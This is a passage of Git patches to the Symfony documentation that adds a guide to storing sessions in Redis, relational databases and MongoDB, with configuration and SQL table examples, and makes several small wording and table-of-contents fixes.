-Preparing the Database to Store Sessions
-----------------------------------------
-
-Before storing sessions in the database, you must create the table that stores
-the information. The session handler provides a method called
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
-to set up this table for you according to the database engine used::
-
-    try {
-        $sessionHandlerService->createTable();
-    } catch (\PDOException $exception) {
-        // the table could not be created for some reason
-    }
-
-If you prefer to set up the table yourself, these are some examples of the SQL
-statements you may use according to your specific database engine.
-
-A great way to run this on production is to generate an empty migration, and then
-add this SQL inside:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:generate
-
-Find the correct SQL below and put it inside that file. Then execute it with:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:migrate
-
-MySQL
-~~~~~
-
-.. code-block:: sql
-
-    CREATE TABLE `sessions` (
-        `sess_id` VARCHAR(128) NOT NULL PRIMARY KEY,
-        `sess_data` BLOB NOT NULL,
-        `sess_time` INTEGER UNSIGNED NOT NULL,
-        `sess_lifetime` INTEGER UNSIGNED NOT NULL
-    ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
-
-.. note::
-
-    A ``BLOB`` column type can only store up to 64 kb. If the data stored in
-    a user's session exceeds this, an exception may be thrown or their session
-    will be silently reset. Consider using a ``MEDIUMBLOB`` if you need more
-    space.
-
-PostgreSQL
-~~~~~~~~~~
-
-.. code-block:: sql
-
-    CREATE TABLE sessions (
-        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data BYTEA NOT NULL,
-        sess_time INTEGER NOT NULL,
-        sess_lifetime INTEGER NOT NULL
-    );
-
-Microsoft SQL Server
-~~~~~~~~~~~~~~~~~~~~
-
-.. code-block:: sql
-
-    CREATE TABLE [dbo].[sessions](
-        [sess_id] [nvarchar](255) NOT NULL,
-        [sess_data] [ntext] NOT NULL,
-        [sess_time] [int] NOT NULL,
-        [sess_lifetime] [int] NOT NULL,
-        PRIMARY KEY CLUSTERED(
-            [sess_id] ASC
-        ) WITH (
-            PAD_INDEX  = OFF,
-            STATISTICS_NORECOMPUTE  = OFF,
-            IGNORE_DUP_KEY = OFF,
-            ALLOW_ROW_LOCKS  = ON,
-            ALLOW_PAGE_LOCKS  = ON
-        ) ON [PRIMARY]
-    ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
-
-.. caution::
-
-    If the session data doesn't fit in the data column, it might get truncated
-    by the database engine. To make matters worse, when the session data gets
-    corrupted, PHP ignores the data without giving a warning.
-
-    If the application stores large amounts of session data, this problem can
-    be solved by increasing the column size (use ``BLOB`` or even ``MEDIUMBLOB``).
-    When using MySQL as the database engine, you can also enable the `strict SQL mode`_
-    to be notified when such an error happens.
-
-.. _`strict SQL mode`: https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f0d88114f8f..2c6a9aad446 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1233,6 +1233,8 @@ The service id used for session storage. The ``session.storage`` service
 alias will be set to this service id. This class has to implement
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`.
 
+.. _config-framework-session-handler-id:
+
 handler_id
 ..........
 
@@ -1240,63 +1242,8 @@ handler_id
 
 The service id used for session storage. The default ``null`` value means to use
 the native PHP session mechanism. Set it to ``'session.handler.native_file'`` to
-let Symfony manage the sessions itself using files to store the session
-metadata.
-
-You can also configure the session handler with a DSN. For example:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                # ...
-                handler_id: 'redis://localhost'
-                handler_id: '%env(REDIS_URL)%'
-                handler_id: '%env(resolve:DATABASE_URL)%'
-                handler_id: 'file://%kernel.project_dir%/var/sessions'
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:session enabled="true"
-                    handler-id="redis://localhost"
-                    handler-id="%env(REDIS_URL)%"
-                    handler-id="%env(resolve:DATABASE_URL)%"
-                    handler-id="file://%kernel.project_dir%/var/sessions"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                // ...
-                'handler_id' => 'redis://localhost',
-                'handler_id' => '%env(REDIS_URL)%',
-                'handler_id' => '%env(resolve:DATABASE_URL)%',
-                'handler_id' => 'file://%kernel.project_dir%/var/sessions',
-            ],
-        ]);
-
-.. versionadded:: 4.4
-
-    The option to configure the session handler with a DSN was introduced in Symfony 4.4.
-
-If you prefer to make Symfony store sessions in a database read
-:doc:`/doctrine/pdo_session_storage`.
+let Symfony manage the sessions itself using files to store the session metadata.
+You can also :doc:`store sessions in a database </session/database>`.
 
 .. _name:
 
diff --git a/session.rst b/session.rst
index 265a9820f8f..b2c38baa68d 100644
--- a/session.rst
+++ b/session.rst
@@ -121,9 +121,8 @@ session metadata files:
         ]);
 
 Check out the Symfony config reference to learn more about the other available
-:ref:`Session configuration options <config-framework-session>`. Also, if you
-prefer to store session metadata in a database instead of the filesystem,
-check out this article: :doc:`/doctrine/pdo_session_storage`.
+:ref:`Session configuration options <config-framework-session>`. You can also
+:doc:`store sessions in a database </session/database>`.
 
 Basic Usage
 -----------
@@ -219,7 +218,9 @@ More about Sessions
 .. toctree::
     :maxdepth: 1
 
-    /doctrine/pdo_session_storage
+    session/sessions_directory
+    session/avoid_session_start
+    session/database
     session/locale_sticky_session
     session/php_bridge
     session/proxy_examples
diff --git a/session/database.rst b/session/database.rst
new file mode 100644
index 00000000000..29cd29f8d30
--- /dev/null
+++ b/session/database.rst
@@ -0,0 +1,600 @@
+.. index::
+    single: Session; Database Storage
+
+Store Sessions in a Database
+============================
+
+Symfony stores sessions in files by default. If your application is served by
+multiple servers, you'll need to use instead a database to make sessions work
+across different servers.
+
+Symfony can store sessions in all kinds of databases (relational, NoSQL and
+key-value) but recommends key-value databases like Redis to get best performance.
+
+Store Sessions in a key-value Database (Redis)
+----------------------------------------------
+
+This section assumes that you have a fully-working Redis server and have also
+installed and configured the `phpredis extension`_.
+
+First, define a Symfony service for the connection to the Redis server:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Redis:
+                # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+                class: Redis
+                calls:
+                    - method: connect
+                      arguments:
+                          - '%env(REDIS_HOST)%'
+                          - '%env(int:REDIS_PORT)%'
+
+                    # uncomment the following if your Redis server requires a password
+                    # - method: auth
+                    #   arguments:
+                    #       - '%env(REDIS_PASSWORD)%'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- you can also use \RedisArray, \RedisCluster or \Predis\Client classes -->
+                <service id="Redis" class="Redis">
+                    <call method="connect">
+                        <argument>%env(REDIS_HOST)%</argument>
+                        <argument>%env(int:REDIS_PORT)%</argument>
+                    </call>
+
+                    <!-- uncomment the following if your Redis server requires a password:
+                    <call method="auth">
+                        <argument>%env(REDIS_PASSWORD)%</argument>
+                    </call> -->
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use Symfony\Component\DependencyInjection\Reference;
+
+        // ...
+        $container
+            // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+            ->register('Redis', \Redis::class)
+            ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
+            // uncomment the following if your Redis server requires a password:
+            // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%'])
+        ;
+
+Now pass this ``\Redis`` connection as an argument of the service associated to the
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\RedisSessionHandler`.
+This argument can also be a ``\RedisArray``, ``\RedisCluster``, ``\Predis\Client``,
+and ``RedisProxy``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    # you can optionally pass an array of options. The only option is 'prefix',
+                    # which defines the prefix to use for the keys to avoid collision on the Redis server
+                    # - { prefix: 'my_prefix' }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <!-- you can optionally pass an array of options. The only option is 'prefix',
+                     which defines the prefix to use for the keys to avoid collision on the Redis server:
+                <argument type="collection">
+                    <argument key="prefix">my_prefix</argument>
+                </argument> -->
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $container
+            ->register(RedisSessionHandler::class)
+            ->addArgument(
+                new Reference('Redis'),
+                // you can optionally pass an array of options. The only option is 'prefix',
+                // which defines the prefix to use for the keys to avoid collision on the Redis server:
+                // ['prefix' => 'my_prefix'],
+            );
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            session:
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <framework:config>
+            <!-- ... -->
+            <framework:session handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"/>
+        </framework:config>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        // ...
+        $container->loadFromExtension('framework', [
+            // ...
+            'session' => [
+                'handler_id' => RedisSessionHandler::class,
+            ],
+        ]);
+
+That's all! Symfony will now use your Redis server to read and write the session
+data. The main drawback of this solution is that Redis does not perform session
+locking, so you can face *race conditions* when accessing sessions. For example,
+you may see an *"Invalid CSRF token"* error because two requests were made in
+parallel and only the first one stored the CSRF token in the session.
+
+.. seealso::
+
+    If you use Memcached instead of Redis, follow a similar approach but replace
+    ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
+
+Store Sessions in a Relational Database (MySQL, PostgreSQL)
+-----------------------------------------------------------
+
+Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
+to store sessions in relational databases like MySQL and PostgreSQL. To use it,
+first register a new handler service with your database credentials:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
+                arguments:
+                    - '%env(DATABASE_URL)%'
+
+                    # you can also use PDO configuration, but requires passing two arguments
+                    # - 'mysql:dbname=mydatabase; host=myhost; port=myport'
+                    # - { db_username: myuser, db_password: mypassword }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                    <argument>env(DATABASE_URL)</argument>
+
+                    <!-- you can also use PDO configuration, but requires passing two arguments: -->
+                    <!-- <argument>mysql:dbname=mydatabase, host=myhost</argument>
+                        <argument type="collection">
+                            <argument key="db_username">myuser</argument>
+                            <argument key="db_password">mypassword</argument>
+                        </argument> -->
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+
+        $storageDefinition = $container->autowire(PdoSessionHandler::class)
+            ->setArguments([
+                '%env(DATABASE_URL)%',
+                // you can also use PDO configuration, but requires passing two arguments:
+                // 'mysql:dbname=mydatabase; host=myhost; port=myport',
+                // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
+            ])
+        ;
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <framework:config>
+            <!-- ... -->
+            <framework:session
+                handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"/>
+        </framework:config>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+
+        // ...
+        $container->loadFromExtension('framework', [
+            // ...
+            'session' => [
+                'handler_id' => PdoSessionHandler::class,
+            ],
+        ]);
+
+Configuring the Session Table and Column Names
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The table used to store sessions is called ``sessions`` by default and defines
+certain column names. You can configure these values with the second argument
+passed to the ``PdoSessionHandler`` service:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
+                arguments:
+                    - '%env(DATABASE_URL)%'
+                    - { db_table: 'customer_session', db_id_col: 'guid' }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                    <argument>env(DATABASE_URL)</argument>
+                    <argument type="collection">
+                        <argument key="db_table">customer_session</argument>
+                        <argument key="db_id_col">guid</argument>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        // ...
+
+        $container->autowire(PdoSessionHandler::class)
+            ->setArguments([
+                '%env(DATABASE_URL)%',
+                ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
+            ])
+        ;
+
+These are parameters that you can configure:
+
+``db_table`` (default ``sessions``):
+    The name of the session table in your database;
+
+``db_username``: (default: ``''``)
+    The username used to connect when using the PDO configuration (when using
+    the connection based on the ``DATABASE_URL`` env var, it overrides the
+    username defined in the env var).
+
+``db_password``: (default: ``''``)
+    The password used to connect when using the PDO configuration (when using
+    the connection based on the ``DATABASE_URL`` env var, it overrides the
+    password defined in the env var).
+
+``db_id_col`` (default ``sess_id``):
+    The name of the column where to store the session ID (column type: ``VARCHAR(128)``);
+
+``db_data_col`` (default ``sess_data``):
+    The name of the column where to store the session data (column type: ``BLOB``);
+
+``db_time_col`` (default ``sess_time``):
+    The name of the column where to store the session creation timestamp (column type: ``INTEGER``);
+
+``db_lifetime_col`` (default ``sess_lifetime``):
+    The name of the column where to store the session lifetime (column type: ``INTEGER``);
+
+``db_connection_options`` (default: ``[]``)
+    An array of driver-specific connection options;
+
+``lock_mode`` (default: ``LOCK_TRANSACTIONAL``)
+    The strategy for locking the database to avoid *race conditions*. Possible
+    values are ``LOCK_NONE`` (no locking), ``LOCK_ADVISORY`` (application-level
+    locking) and ``LOCK_TRANSACTIONAL`` (row-level locking).
+
+Preparing the Database to Store Sessions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Before storing sessions in the database, you must create the table that stores
+the information. The session handler provides a method called
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\PdoSessionHandler::createTable`
+to set up this table for you according to the database engine used::
+
+    try {
+        $sessionHandlerService->createTable();
+    } catch (\PDOException $exception) {
+        // the table could not be created for some reason
+    }
+
+If you prefer to set up the table yourself, it's recommended to generate an
+empty database migration with the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:generate
+
+Then, find the appropriate SQL for your database below, add it to the migration
+file and run the migration with the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:migrate
+
+MySQL
+.....
+
+.. code-block:: sql
+
+    CREATE TABLE `sessions` (
+        `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
+        `sess_data` BLOB NOT NULL,
+        `sess_lifetime` MEDIUMINT NOT NULL,
+        `sess_time` INTEGER UNSIGNED NOT NULL
+    ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
+
+.. note::
+
+    A ``BLOB`` column type (which is the one used by default by ``createTable()``)
+    stores up to 64 kb. If the user session data exceeds this, an exception may
+    be thrown or their session will be silently reset. Consider using a ``MEDIUMBLOB``
+    if you need more space.
+
+PostgreSQL
+..........
+
+.. code-block:: sql
+
+    CREATE TABLE sessions (
+        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
+        sess_data BYTEA NOT NULL,
+        sess_lifetime INTEGER NOT NULL,
+        sess_time INTEGER NOT NULL
+    );
+
+Microsoft SQL Server
+....................
+
+.. code-block:: sql
+
+    CREATE TABLE sessions (
+        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
+        sess_data VARBINARY(MAX) NOT NULL,
+        sess_lifetime INTEGER NOT NULL,
+        sess_time INTEGER NOT NULL
+    );
+
+Store Sessions in a NoSQL Database (MongoDB)
+--------------------------------------------
+
+Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler`
+to store sessions in the MongoDB NoSQL database. First, make sure to have a
+working MongoDB connection in your Symfony application as explained in the
+`DoctrineMongoDBBundle configuration`_ article.
+
+Then, register a new handler service for ``MongoDbSessionHandler`` and pass it
+the MongoDB connection as argument:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
+                arguments:
+                    - '@doctrine_mongodb.odm.default_connection'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+
+        $storageDefinition = $container->autowire(MongoDbSessionHandler::class)
+            ->setArguments([
+                new Reference('doctrine_mongodb.odm.default_connection'),
+            ])
+        ;
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <framework:config>
+            <!-- ... -->
+            <framework:session
+                handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"/>
+        </framework:config>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+
+        // ...
+        $container->loadFromExtension('framework', [
+            // ...
+            'session' => [
+                'handler_id' => MongoDbSessionHandler::class,
+            ],
+        ]);
+
+.. note::
+
+    MongoDB ODM 1.x only works with the legacy driver, which is no longer
+    supported by the Symfony session class. Install the ``alcaeus/mongo-php-adapter``
+    package to retrieve the underlying ``\MongoDB\Client`` object or upgrade to
+    MongoDB ODM 2.0.
+
+That's all! Symfony will now use your MongoDB server to read and write the
+session data. You do not need to do anything to initialize your session
+collection. However, you may want to add an index to improve garbage collection
+performance. Run this from the `MongoDB shell`_:
+
+.. code-block:: javascript
+
+    use session_db
+    db.session.ensureIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
+
+Configuring the Session Field Names
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The collection used to store sessions defines certain field names. You can
+configure these values with the second argument passed to the
+``MongoDbSessionHandler`` service:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
+                arguments:
+                    - '@doctrine_mongodb.odm.default_connection'
+                    - { id_field: '_guid', `expiry_field`: `eol` }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
+                    <argument type="collection">
+                        <argument key="id_field">_guid</argument>
+                        <argument key="expiry_field">eol</argument>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        // ...
+
+        $container->autowire(MongoDbSessionHandler::class)
+            ->setArguments([
+                '...',
+                ['id_field' => '_guid', 'expiry_field' => 'eol'],
+            ])
+        ;
+
+These are parameters that you can configure:
+
+``id_field`` (default ``_id``):
+    The name of the field where to store the session ID;
+
+``data_field`` (default ``data``):
+    The name of the field where to store the session data;
+
+``time_field`` (default ``time``):
+    The name of the field where to store the session creation timestamp;
+
+``expiry_field`` (default ``expires_at``):
+    The name of the field where to store the session lifetime.
+
+.. _`phpredis extension`: https://github.com/phpredis/phpredis
+.. _`DoctrineMongoDBBundle configuration`: https://symfony.com/doc/master/bundles/DoctrineMongoDBBundle/config.html
+.. _`MongoDB shell`: https://docs.mongodb.com/manual/mongo/

From bdf79cdc671bdf395000276f1ec50314c0320128 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 16:59:45 +0200
Subject: [PATCH 0758/7107] [Session] Removed reference to non-existing
 document

---
 session.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/session.rst b/session.rst
index b2c38baa68d..a97c168d80d 100644
--- a/session.rst
+++ b/session.rst
@@ -218,7 +218,6 @@ More about Sessions
 .. toctree::
     :maxdepth: 1
 
-    session/sessions_directory
     session/avoid_session_start
     session/database
     session/locale_sticky_session

From edd88db4fe79d16cc42f1bf2db5c15c28aaf5a54 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 17:16:21 +0200
Subject: [PATCH 0759/7107] [Session] Removed another reference to a
 non-existent document

---
 session.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/session.rst b/session.rst
index a97c168d80d..8d465516a58 100644
--- a/session.rst
+++ b/session.rst
@@ -218,7 +218,6 @@ More about Sessions
 .. toctree::
     :maxdepth: 1
 
-    session/avoid_session_start
     session/database
     session/locale_sticky_session
     session/php_bridge

From 062497adf7d70e9e22196c4dc71bbe39095dd3e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 17:47:33 +0200
Subject: [PATCH 0760/7107] [DI] Mention that container.no_preload tag
 propagates automatically

---
 reference/dic_tags.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index c65e0448c80..c6849978bb9 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -260,6 +260,10 @@ Add this tag to a service and its class won't be preloaded when using
             ->addTag('container.no_preload')
         ;
 
+If some service tagged with ``container.no_preload`` is added as an argument of
+other service, the ``container.no_preload`` tag is applied automatically to that
+service too.
+
 .. _dic-tags-container-preload:
 
 container.preload

From 92ed21f550071e6593ef765fa43fbc75551c1088 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 29 May 2020 13:18:42 +0200
Subject: [PATCH 0761/7107] Update lock.rst

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index a0485959893..865471f0fe5 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -501,7 +501,7 @@ CombinedStore
 ~~~~~~~~~~~~~
 
 Combined stores allow to store locks across several backends. It's a common
-mistake to think that the lock mechanism will be more reliable. This is wrong
+mistake to think that the lock mechanism will be more reliable. This is wrong.
 The ``CombinedStore`` will be, at best, as reliable as the least reliable of
 all managed stores. As soon as one managed store returns erroneous information,
 the ``CombinedStore`` won't be reliable.

From e065dffb017e0121c83080ad31379172930e0dc2 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Fri, 29 May 2020 09:43:09 -0400
Subject: [PATCH 0762/7107] proofreading reset password

---
 security/reset_password.rst | 30 +++++++++++++-----------------
 1 file changed, 13 insertions(+), 17 deletions(-)

diff --git a/security/reset_password.rst b/security/reset_password.rst
index 10a99403dc6..60b7597ff01 100644
--- a/security/reset_password.rst
+++ b/security/reset_password.rst
@@ -1,17 +1,14 @@
-How to Add Secure Password Reset Functionality
-==============================================
+How to Add a Reset Password Feature
+===================================
 
-Using `MakerBundle`_ & `Symfony Cast's Reset Password Bundle`_ you can create a
+Using `MakerBundle`_ & `SymfonyCastsResetPasswordBundle`_ you can create a
 secure out of the box solution to handle forgotten passwords.
 
-.. caution::
+First, make sure you have a security ``User`` class. Follow
+the :doc:`Security Guide </security>` if you don't have one already.
 
-    Make sure you have created a ``User`` class with a getter method to retrieve
-    the users unique email address. The :doc:`Security Guide </security>` will
-    help you install security and create your user class.
-
-Bootstrap reset password functionality
---------------------------------------
+Generating the Reset Password Code
+----------------------------------
 
 .. code-block:: terminal
 
@@ -19,14 +16,13 @@ Bootstrap reset password functionality
         .....
     $ php bin/console make:reset-password
 
+The `make:reset-password` command will ask you a few questions about your app and
+generate all the files you need! After, you'll see a success message and a list
+of any other steps you need to do.
 
-The reset password maker will then ask you a couple questions about your app and
-generate the required files. Afterword's you should see the success message,
-a list of the files generated, and any other task's that may need to be performed.
-
-You can customize the reset password bundle's behavior by editing ``reset_password.yaml``.
-For more information on the configuration, check out the
-`Symfony Cast's Reset Password Bundle`_  guide.
+You can customize the reset password bundle's behavior by updating the ``reset_password.yaml``
+file. For more information on the configuration, check out the
+`SymfonyCastsResetPasswordBundle`_  guide.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`Symfony Cast's Reset Password Bundle`: https://github.com/symfonycasts/reset-password-bundle

From dfe23c652de42de0e27f4c68fa1f04878e48ebc9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 29 May 2020 15:49:12 +0200
Subject: [PATCH 0763/7107] fix a minor typo

---
 setup/web_server_configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 52d673e5aca..fc382b701fd 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -264,7 +264,7 @@ The **minimum configuration** to get your application running under nginx is:
 
         location / {
             # try to serve file directly, fallback to app.php
-            # replace app.php by app_dev.php in dev
+            # replace app.php with app_dev.php in dev
             try_files $uri /app.php$is_args$args;
         }
         # DEV

From dd1749ab602de2fe851d2f83363587708bcd3c6a Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Fri, 29 May 2020 15:54:42 +0200
Subject: [PATCH 0764/7107] Fix typo of HTML5 field type for DateTimeType

Changed the html5 input type for DateTimeType to datetime-local (which is the html5 input type) instead of the datetime input type.

The datetime input type field has been removed from WHATWG HTML (https://github.com/whatwg/html/issues/336)
